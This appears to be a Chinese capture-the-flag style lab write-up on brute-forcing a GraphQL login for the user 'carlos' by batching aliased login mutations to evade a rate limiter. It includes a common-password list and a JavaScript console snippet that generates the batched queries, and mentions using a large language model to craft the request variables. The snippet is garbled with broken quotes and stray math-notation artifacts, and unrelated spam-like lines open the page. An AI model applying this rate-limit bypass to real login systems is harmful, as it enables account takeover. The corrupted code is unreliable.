北京建行网站东营租房信息网官网

题目要求：

本实验的用户登录机制由 GraphQL API 提供支持。API 终端节点有一个速率限制器，如果它在短时间内收到来自同一源的太多请求，则会返回错误。
要解决实验问题，请暴力破解登录机制以 .使用身份验证实验室密码列表作为密码源。carlos

访问网站抓包发现graphQL接口

使用burp自带得GraphQL功能 设置内省查询，获得这个接口下相关变量得详细信息

然后再发送到InQL插件进行分析发现

按照题目要求要进行登陆爆破，所以将login这里发到reapeter。

然后进行登录爆破，这里我们构造post的数据，利用大模型来构造

直接这张图片提供给大模型，并要求他帮我们填写variables

多次操作发现登录速率限制

但是
尝试修改，突破API请求限制，发现可以一次请求多次登录
通过将以下内容复制到chorme浏览器控制台运行生成大量请求的快捷方式来实现一次访问多次登录请求

copy(123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow.split(‘,’).map((element,index)=>bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success }.replaceAll(‘$inde{x}^{\prime },index).replaceAll{(}^{\prime }$password’,element)).join(‘\n’));console.log(“The query has been copied to your clipboard.”);

得到正确密码登录成功